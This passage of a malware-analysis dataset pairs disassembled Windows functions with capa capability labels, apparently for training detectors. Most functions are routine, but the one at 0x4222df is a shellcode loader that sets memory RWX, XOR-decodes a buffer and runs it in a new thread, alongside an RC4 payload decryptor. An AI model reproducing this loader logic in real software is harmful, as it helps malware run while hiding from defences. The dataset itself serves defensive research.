joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4035ac
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebx
xor ebx, ebx
imul edx, dword [ebx + 0x86d008], 0x8088405
inc edx
mov dword [ebx + 0x86d008], edx
mul edx
mov eax, edx
pop ebx
ret

Function at 0x41cf00
Capabilities:
Decompress data using aplib

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push ebp
mov esi, dword [ebp - 4]
mov edi, dword [ebp - 8]
cld
mov dl, 0x80
mov al, byte [esi]
add esi, 1
mov byte [edi], al
add edi, 1
mov ebx, 2
add dl, dl
jne 0x41cf31
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x41cf19
add dl, dl
jne 0x41cf3c
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x41cf8d
xor eax, eax
add dl, dl
jne 0x41cf49
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x41d02a
add dl, dl
jne 0x41cf58
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x41cf63
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x41cf6e
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x41cf79
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x41cf83
mov ebx, edi
sub ebx, eax
mov al, byte [ebx]
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x41cf28
mov eax, 1
add dl, dl
jne 0x41cf9b
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x41cfa6
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x41cf92
sub eax, ebx
mov ebx, 1
jne 0x41cfd9
mov ecx, 1
add dl, dl
jne 0x41cfbf
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x41cfca
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x41cfb6
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x41cf28
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x41cff0
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x41cffb
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x41cfe7
cmp eax, 0x7d00
sbb ecx, 0xffffffff
cmp eax, 0x500
sbb ecx, 0xffffffff
cmp eax, 0x80
adc ecx, 0
cmp eax, 0x80
adc ecx, 0
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x41cf28
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x41d04b
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x41cf28
pop ebp
sub edi, dword [ebp - 8]
mov dword [ebp - 0xc], edi
pop edi
pop esi
pop ebx
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret
Function at 0x41f05c
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov ebx, edx
xor edx, edx
push ebp
push 0x85154a
push dword fs:[edx]
mov dword fs:[edx], esp
xor edx, edx
mov dword [ebp - 8], edx
mov esi, ebx
xor ecx, ecx
cmp byte [eax + 0x6a], 0
je 0x41f0ab
mov eax, ebx
xor edx, edx
push edx
push eax
mov eax, dword [esi + 0x3c]
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
mov edx, dword [eax + 0x88]
test edx, edx
je 0x41f0ca
mov ecx, edx
add ecx, ebx
jmp 0x41f0ca
mov eax, ebx
xor edx, edx
push edx
push eax
mov eax, dword [esi + 0x3c]
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
mov edx, dword [eax + 0x78]
test edx, edx
je 0x41f0ca
mov ecx, edx
add ecx, ebx
test ecx, ecx
je 0x41f13c
mov esi, dword [ecx + 0x18]
mov eax, dword [ecx + 0x1c]
add eax, ebx
mov dword [ebp - 0x10], eax
mov edi, dword [ecx + 0x20]
add edi, ebx
mov eax, dword [ecx + 0x24]
add eax, ebx
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 4]
cmp eax, 0xffff
jbe 0x41f125
test esi, esi
jbe 0x41f13c
mov eax, dword [edi]
add eax, ebx
mov edx, dword [ebp - 4]
call fcn.004088ec
test eax, eax
jne 0x41f117
mov eax, dword [ebp - 0xc]
movzx eax, word [eax]
shl eax, 2
add eax, dword [ebp - 0x10]
mov eax, dword [eax]
mov dword [ebp - 8], eax
jmp 0x41f13c
add dword [ebp - 0xc], 2
add edi, 4
dec esi
test esi, esi
ja 0x41f0f4
jmp 0x41f13c
mov edx, eax
sub edx, dword [ecx + 0x10]
cmp edx, dword [ecx + 0x14]
jae 0x41f13c
mov eax, edx
shl eax, 2
add eax, dword [ebp - 0x10]
mov eax, dword [eax]
mov dword [ebp - 8], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x851551
ret
Function at 0x420294
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x10], ebx
mov word [ebp - 4], cx
mov byte [ebp - 1], dl
xor eax, eax
push ebp
push 0x8528af
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp + 8]
call fcn.00404cd0
xor ebx, ebx
mov eax, ebx
and eax, 0x80000001
jns 0x4202cf
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
jne 0x4202e8
lea eax, [ebp - 0x10]
mov edx, dword [0x86f348]
mov edx, dword [edx]
mov edx, dword [edx + 0xc]
call fcn.00404d30
jmp 0x4202fb
lea eax, [ebp - 0x10]
mov edx, dword [0x86f348]
mov edx, dword [edx]
mov edx, dword [edx + 0x10]
call fcn.00404d30
lea eax, [ebp - 0x10]
mov edx, ebx
sar edx, 1
jns 0x420307
adc edx, 0
mov edx, dword [edx*4 + 0x86e178]
call fcn.00404f20
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
mov eax, dword [ebp - 0x10]
call fcn.00404f04
push eax
call fcn.00406b1c
mov esi, eax
cmp esi, 0xffffffff
je 0x420481
mov eax, 0x40
call fcn.00403268
mov edi, eax
push 0
lea eax, [ebp - 8]
push eax
push 0x40
push edi
push esi
call fcn.00406d7c
test eax, eax
je 0x420474
mov eax, edi
cmp word [eax], 0x5a4d
jne 0x420474
push 0
push 0
mov eax, dword [eax + 0x3c]
push eax
push esi
call fcn.00406ddc
mov eax, edi
call fcn.00403288
mov eax, 0x18
call fcn.00403268
mov edi, eax
push 0
lea eax, [ebp - 8]
push eax
push 0x18
push edi
push esi
call fcn.00406d7c
test eax, eax
je 0x420474
mov eax, edi
cmp dword [eax], 0x4550
jne 0x420474
add eax, 4
mov dword [ebp - 0xc], eax
cmp byte [ebp - 1], 0
je 0x420412
mov eax, dword [ebp - 0xc]
cmp word [eax], 0x8664
jne 0x420412
mov eax, edi
call fcn.00403288
mov eax, 0xf0
call fcn.00403268
mov edi, eax
push 0
lea eax, [ebp - 8]
push eax
push 0xf0
push edi
push esi
call fcn.00406d7c
test eax, eax
je 0x420412
mov eax, edi
mov dx, word [eax + 0x44]
cmp dx, word [ebp - 4]
jne 0x420412
mov eax, dword [eax + 0x10]
mov edx, dword [ebp + 0xc]
mov dword [edx], eax
mov eax, dword [ebp + 8]
mov edx, dword [ebp - 0x10]
call fcn.00404d0c
cmp byte [ebp - 1], 0
jne 0x420474
mov eax, dword [ebp - 0xc]
cmp word [eax], 0x14c
jb 0x420474
mov eax, dword [ebp - 0xc]
cmp word [eax], 0x150
ja 0x420474
mov eax, edi
call fcn.00403288
mov eax, 0xe0
call fcn.00403268
mov edi, eax
push 0
lea eax, [ebp - 8]
push eax
push 0xe0
push edi
push esi
call fcn.00406d7c
test eax, eax
je 0x420474
mov eax, edi
mov dx, word [eax + 0x44]
cmp dx, word [ebp - 4]
jne 0x420474
mov eax, dword [eax + 0x10]
mov edx, dword [ebp + 0xc]
mov dword [edx], eax
mov eax, dword [ebp + 8]
mov edx, dword [ebp - 0x10]
call fcn.00404d0c
mov eax, edi
call fcn.00403288
push esi
call fcn.00406ad4
mov eax, dword [ebp + 8]
mov eax, dword [eax]
xor edx, edx
call fcn.0040502c
jne 0x420499
inc ebx
cmp ebx, 0x19
jne 0x4202c1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x8528b6
lea eax, [ebp - 0x10]
call fcn.00404cd0
ret
Function at 0x416360
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.004161d1

Function at 0x41675a
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.00406650
mov eax, dword [0x42d040]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.004136e4
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x41679c
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x4168f8
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.00421160
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x472608]
push dword [edi + eax + 0x24]
push dword [edi + eax + 0x20]
push ebx
call fcn.00417751
mov ecx, dword [esi*4 + 0x472608]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [edi + ecx + 0x20]
jne 0x4168f1
cmp eax, dword [edi + ecx + 0x24]
jne 0x4168f1
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [edi + ecx + 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4168f1
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.00417751
add esp, 0x14
test edx, edx
jl 0x4168f1
jg 0x416867
test eax, eax
jb 0x4168f1
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x4168f1
jl 0x416881
cmp dword [ebp - 0x1008], eax
ja 0x4168f1
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x41689f
test ebx, ebx
je 0x4168d8
cmp ecx, edi
jae 0x4168d8
mov al, byte [ecx]
cmp al, 0xd
jne 0x4168b9
lea eax, [edi - 1]
cmp ecx, eax
jae 0x4168c5
cmp byte [ecx + 1], 0xa
jne 0x4168c5
inc ecx
jmp 0x4168c5
movzx eax, al
movsx eax, byte [eax + 0x42d300]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x41689f
cmp edx, ebx
jne 0x41689f
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x4168f6
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.00405899
leave
ret
Function at 0x416bef
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x472608]
mov dword [ebp - 0x10], ecx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x416c2f
cmp byte [ebx], 0xa
jne 0x416c2f
or byte [eax + edi + 0x28], 4
jmp 0x416c34
and byte [eax + edi + 0x28], 0xfb
add ecx, ebx
mov edx, ebx
mov dword [ebp - 0xc], ecx
mov esi, ebx
cmp ebx, ecx
jae 0x416d32
mov al, byte [edx]
cmp al, 0x1a
je 0x416d14
lea ecx, [edx + 1]
mov dword [ebp - 8], ecx
mov ecx, dword [ebp - 0xc]
cmp al, 0xd
je 0x416c63
mov edx, dword [ebp - 8]
mov byte [esi], al
jmp 0x416c88
mov eax, dword [ebp - 8]
cmp eax, ecx
jae 0x416c92
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add edx, eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov ecx, dword [ebp - 0xc]
inc esi
cmp edx, ecx
jb 0x416c45
jmp 0x416d32
push 0
lea eax, [ebp - 0xc]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x416d0f
cmp dword [ebp - 0xc], 0
je 0x416d0f
mov ecx, dword [ebp - 0x10]
mov eax, dword [ecx*4 + 0x472608]
test byte [eax + edi + 0x28], 0x48
je 0x416ce9
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x416cd4
mov byte [esi], dl
jmp 0x416ce5
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x472608]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x416d32
cmp byte [ebp - 1], 0xa
jne 0x416cf8
cmp esi, ebx
jne 0x416cf8
mov byte [esi], 0xa
jmp 0x416d31
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.0041776f
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x416d32
mov byte [esi], 0xd
jmp 0x416d31
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ecx*4 + 0x472608]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x416d2e
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x416d32
mov byte [esi], 0x1a
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x416d3b
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [ebp + 0xc]
mov ebx, eax
and eax, 0x3f
sar ebx, 6
push edi
imul edi, eax, 0x38
push 0xa
mov eax, dword [ebx*4 + 0x472608]
pop edx
mov dword [ebp - 0x14], edx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x18], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x416d7e
cmp word [esi], dx
jne 0x416d7e
or byte [edi + eax + 0x28], 4
jmp 0x416d83
and byte [edi + eax + 0x28], 0xfb
lea edx, [esi + ecx*2]
mov eax, esi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
cmp eax, edx
jae 0x416ed6
mov dword [ebp - 0xc], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x10], edx
push 0x1a
pop edx
cmp cx, dx
mov edx, dword [ebp - 8]
je 0x416eb6
add eax, 2
cmp cx, word [ebp - 0xc]
je 0x416dc5
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x416dfb
cmp eax, edx
jae 0x416e07
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x14]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 8]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
add esi, 2
cmp eax, edx
jb 0x416d9d
jmp 0x416ed6
push 0
lea eax, [ebp - 0x14]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x416eb2
cmp dword [ebp - 0x14], 0
je 0x416eb2
mov eax, dword [ebx*4 + 0x472608]
push 0xa
test byte [edi + eax + 0x28], 0x48
je 0x416e8a
mov dx, word [ebp - 4]
lea eax, [esi + 2]
pop ecx
mov dword [ebp - 0x18], eax
cmp dx, cx
jne 0x416e53
mov word [esi], cx
jmp 0x416e86
push 0xd
pop eax
mov word [esi], ax
mov eax, dword [ebx*4 + 0x472608]
movzx ecx, dx
shr ecx, 8
push 0xa
mov byte [edi + eax + 0x2a], dl
mov eax, dword [ebx*4 + 0x472608]
mov byte [edi + eax + 0x2b], cl
mov eax, dword [ebx*4 + 0x472608]
pop ecx
mov byte [edi + eax + 0x2c], cl
mov eax, dword [ebp - 0x18]
mov esi, eax
jmp 0x416ed6
pop ebx
cmp word [ebp - 4], bx
jne 0x416e9b
cmp esi, dword [ebp + 0xc]
jne 0x416e9b
mov word [esi], bx
jmp 0x416ed3
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.0041776f
add esp, 0x10
cmp word [ebp - 4], bx
je 0x416ed6
push 0xd
jmp 0x416ecf
mov ecx, dword [ebx*4 + 0x472608]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x416ecd
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x416ed6
push 0x1a
pop eax
mov word [esi], ax
add esi, 2
sub esi, dword [ebp + 0xc]
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x419cb9
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x419d56
push ebx
push esi
call fcn.00419c82
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.00418907
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x419d03
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x419d55
push edi
push eax
call fcn.004127f3
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x419d23
call fcn.004127b9
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x419d54
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.00418907
add esp, 0x20
test eax, eax
jne 0x419d42
push edi
call fcn.004127b9
jmp 0x419d4a
push ebx
call fcn.004127b9
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x420f60
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x420f8d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x420f8d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x422000
Capabilities:
Encrypt data using rc4 prga

Disassembly:
sub esp, 0x214
mov eax, dword [0x42d040]
xor eax, esp
mov dword [esp + 0x20c], eax
push ebx
push ebp
push esi
push edi
xor edi, edi
mov ebp, 0x100
mov ecx, edi
xor edx, edx
mov byte [esp + ecx + 0x18], cl
push 0x2a
mov eax, ecx
pop esi
div esi
mov al, byte [edx + 0x471780]
mov byte [esp + ecx + 0x118], al
inc ecx
cmp ecx, ebp
jl 0x422021
mov esi, edi
mov ebx, edi
mov dl, byte [esp + esi + 0x18]
movzx eax, byte [esp + esi + 0x118]
add eax, ebx
movzx ecx, dl
add ecx, eax
mov ebx, ecx
and ebx, 0x800000ff
jns 0x422069
dec ebx
or ebx, 0xffffff00
inc ebx
mov al, byte [esp + ebx + 0x18]
mov byte [esp + esi + 0x18], al
inc esi
mov byte [esp + ebx + 0x18], dl
cmp esi, ebp
jl 0x422044
mov ebp, edi
mov dword [esp + 0x14], edi
inc edi
and edi, 0x800000ff
jns 0x422091
dec edi
or edi, 0xffffff00
inc edi
mov bl, byte [esp + edi + 0x18]
movzx esi, bl
add ebp, esi
and ebp, 0x800000ff
jns 0x4220aa
dec ebp
or ebp, 0xffffff00
inc ebp
push ecx
call fcn.00401981
push eax
call fcn.00402d2f
mov al, byte [esp + ebp + 0x1c]
mov byte [esp + edi + 0x1c], al
mov byte [esp + ebp + 0x1c], bl
movzx eax, byte [esp + edi + 0x1c]
add eax, esi
pop ecx
mov ecx, dword [esp + 0x14]
movzx eax, al
mov al, byte [esp + eax + 0x18]
xor byte [ecx + 0x42dad0], al
inc ecx
mov dword [esp + 0x14], ecx
cmp ecx, 0x43800
jl 0x422080
mov ecx, dword [esp + 0x21c]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00405899
add esp, 0x214
ret
Function at 0x4222df
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x24
mov eax, dword [0x42d040]
xor eax, esp
mov dword [esp + 0x20], eax
push ebx
push esi
push edi
push str.006:107_4:_00007:277_0:_004:_04:_008:_08:_08:_8:_7:2_3:_9:193_4:_
lea ecx, [esp + 0x18]
call fcn.00401abf
push 0xc
call fcn.004058ac
pop ecx
lea ecx, [esp + 0x14]
push ecx
mov ecx, eax
call fcn.00422101
mov ebx, 0x4ac
mov esi, dword [eax + 4]
lea eax, [esp + 0xc]
push eax
push 0x40
push ebx
shl esi, 2
push 0x4712d0
sub esi, 0x40
push 0xffffffffffffffff
mov dword [esp + 0x20], esi
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
call dword [sym.imp.KERNEL32.dll_FreeConsole]
xor edi, edi
push edi
push edi
push edi
call dword [sym.imp.USER32.dll_GetUpdateRgn]
mov dword [esp + 0x10], esi
mov ecx, edi
mov al, byte [ecx + 0x4712d0]
xor al, 0x73
sub al, 0x6c
xor al, 0x74
add al, 0x4e
xor al, 0x70
sub al, 0x65
xor al, 0x22
sub al, 0x73
xor al, 0x2a
mov byte [ecx + 0x4712d0], al
inc ecx
cmp ecx, ebx
jb 0x422356
push ecx
push ecx
call section..bss
pop ecx
pop ecx
lea eax, [esp + 0x10]
push eax
push edi
push 0x42dad0
push 0x471458
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x14]
call fcn.004023d0
mov ecx, dword [esp + 0x2c]
xor eax, eax
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00405899
mov esp, ebp
pop ebp
ret
Function at 0x2a8563c2
Capabilities:
Check if file exists

Disassembly:
push 0x64
mov eax, 0x2a982cdf
call fcn.2a84a73f
mov ebx, ecx
cmp dword [ebx + 4], 0xffffffff
jne 0x2a856503
push 0xffffffffffffffff
lea edi, [ebx + 0xc]
push 0x2a98b17c
mov ecx, edi
call fcn.2a880f1b
mov eax, dword [ebx]
push 0
push 0xffffffffffffffff
mov esi, dword [eax + 0x10]
mov ecx, esi
call dword [0x2a9884bc]
mov ecx, ebx
call esi
push eax
lea ecx, [ebp - 0x54]
call fcn.2a84a6ed
and dword [ebp - 4], 0
lea eax, [ebp - 0x54]
push eax
mov ecx, edi
call fcn.2a8c938e
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x44]
call fcn.2a84cb09
lea ecx, [ebp - 0x4c]
call fcn.2a84cb2b
push edi
lea ecx, [ebp - 0x3c]
call fcn.2a851f08
lea ecx, [ebp - 0x3c]
mov dword [ebp - 4], 1
call fcn.2a8c9bbe
lea eax, [ebp - 0x24]
mov dword [ebp - 4], 2
push eax
call fcn.2a8ca4aa
mov esi, eax
mov dword [ebp - 0x18], vtable.RSSecurityUtilsWin::CLocalFreeGuard.0
pop ecx
mov dword [ebp - 0x14], esi
mov ecx, dword [ebx + 8]
xor edi, edi
mov byte [ebp - 4], 3
cmp dword [ecx], edi
jne 0x2a8564c8
lea ecx, [ebp - 0x3c]
call fcn.2a8c9bbe
push edi
push 0x40110000
push 3
lea ecx, [ebp - 0x24]
push ecx
push edi
push 0xc0000000
push eax
call dword [sym.imp.kernel32.dll_CreateFileA]
mov dword [ebx + 4], eax
cmp eax, 0xffffffff
jne 0x2a8564c8
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 2
je 0x2a85651f
cmp eax, 0xe7
jne 0x2a856509
lea ecx, [ebp - 0x3c]
call fcn.2a8c9bbe
push 0x4e20
push eax
call dword [sym.imp.kernel32.dll_WaitNamedPipeA]
test eax, eax
je 0x2a85652e
mov eax, dword [ebx + 8]
cmp dword [eax], edi
je 0x2a85646e
cmp dword [ebx + 4], 0xffffffff
je 0x2a8564e4
push edi
push edi
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], 2
push eax
push dword [ebx + 4]
call dword [sym.imp.kernel32.dll_SetNamedPipeHandleState]
mov byte [ebp - 4], 6
test esi, esi
je 0x2a8564f3
push esi
call dword [sym.imp.kernel32.dll_LocalFree]
lea ecx, [ebp - 0x2c]
call fcn.2a84cb09
lea ecx, [ebp - 0x34]
call fcn.2a84cb2b
call fcn.2a84aa52
ret
push edi
push 0xffffffffffffffff
push str.Problem_Opening_channel
lea ecx, [ebp - 0x54]
call fcn.2a84a6ed
mov byte [ebp - 4], 4
jmp 0x2a856542
lea ecx, [ebp - 0x70]
call fcn.2a85615f
push 0x2a9f0450
jmp 0x2a856553
push edi
push 0xffffffffffffffff
push str.Problem_Opening_channel__all_pipe_instances_are_busy
lea ecx, [ebp - 0x54]
call fcn.2a84a6ed
mov byte [ebp - 4], 5
lea eax, [ebp - 0x54]
push eax
lea ecx, [ebp - 0x70]
call fcn.2a880f1b
push 0x2a9f04a8
lea eax, [ebp - 0x70]
push eax
call sub.VCRUNTIME140.dll__CxxThrowException
int3
Function at 0x2a8567ed
Capabilities:
Read file on windows

Disassembly:
push 0x5c
mov eax, 0x2a982d4d
call fcn.2a84a73f
mov edi, ecx
xor ebx, ebx
lea eax, [ebp - 0x30]
push 0x14
push ebx
push eax
mov dword [ebp - 0x10], ebx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push ebx
push ebx
push 1
push ebx
call dword [sym.imp.kernel32.dll_CreateEventA]
mov esi, eax
mov dword [ebp - 0x14], esi
mov eax, dword [edi + 8]
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x1c], esi
mov dword [ebp - 4], ebx
mov eax, dword [eax + 0x14]
mov dword [ebp - 0x18], eax
cmp esi, 0xffffffff
je 0x2a856959
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x10]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [edi + 4]
call dword [sym.imp.kernel32.dll_ReadFile]
test eax, eax
jne 0x2a856943
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x3e5
je 0x2a8568c5
cmp eax, 0x6d
je 0x2a8568f3
push ebx
push 0xffffffffffffffff
push str.Read_Error
lea ecx, [ebp - 0x48]
call fcn.2a84a6ed
mov byte [ebp - 4], 4
jmp 0x2a85696d
push ebx
push ebx
lea eax, [ebp - 0x1c]
push eax
push 2
call dword [sym.imp.kernel32.dll_WaitForMultipleObjects]
cmp eax, 1
je 0x2a8568d7
push ebx
push ebx
push ebx
lea eax, [ebp - 0x4c]
push eax
call dword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
je 0x2a8568c5
cmp eax, 0xffffffff
je 0x2a856902
lea eax, [ebp - 0x4c]
push eax
call dword [sym.imp.USER32.dll_TranslateMessage]
lea eax, [ebp - 0x4c]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageA]
push ebx
push ebx
lea eax, [ebp - 0x1c]
push eax
push 2
call dword [sym.imp.kernel32.dll_WaitForMultipleObjects]
test eax, eax
jne 0x2a856888
push 0xffffffffffffffff
push ebx
lea eax, [ebp - 0x1c]
push eax
push 2
call dword [sym.imp.kernel32.dll_WaitForMultipleObjects]
sub eax, ebx
je 0x2a85690b
sub eax, 1
jne 0x2a85683a
lea ecx, [ebp - 0x68]
call fcn.2a85607f
push 0x2a9f04c4
jmp 0x2a85697e
mov dword [ebp - 4], 2
jmp 0x2a85694a
push 1
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x30]
push eax
push dword [edi + 4]
call dword [sym.imp.kernel32.dll_GetOverlappedResult]
test eax, eax
jne 0x2a856943
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x6d
je 0x2a8568f3
push ebx
push 0xffffffffffffffff
